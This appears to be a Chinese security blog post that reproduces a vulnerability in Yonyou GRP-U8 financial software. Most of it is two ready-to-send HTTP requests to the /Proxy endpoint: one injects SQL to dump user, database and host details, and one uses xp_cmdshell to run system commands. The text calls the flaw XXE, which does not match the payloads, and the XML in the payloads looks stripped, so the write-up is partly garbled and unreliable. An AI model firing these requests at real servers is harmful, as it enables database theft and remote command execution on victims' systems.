用友GRP-u8存在XXE漏洞，该漏洞源于应用程序解析XML输入时没有进制外部实体的加载，导致可加载恶意外部文件。
二、漏洞复现SQL注入POC
POST /Proxy HTTP/1.1 Host: localhost:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=25EDA9781364D1FAFBB74FD7CFFE0 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 371 cVer=9.8.0&dp=XMLAS_DataRequestProviderNameDataSetProviderDataDataselect user,db_name(),host_name(),@@version验证过程
Rce注入EXP
POST /Proxy HTTP/1.1 Host: localhost:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=25ED1FAFBB74FD7CFFE0 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 355 cVer=9.8.0&dp=XMLAS_DataRequestProviderNameDataSetProviderDataDataexec xp_cmdshell 'ipconfig'
参考：
https://www.cnblogs.com/0day-li/p/13652897.html
https://www.uedbox.com/post/14953/
https://www.cnblogs.com/Yang34/p/13653960.html
注意：⚠️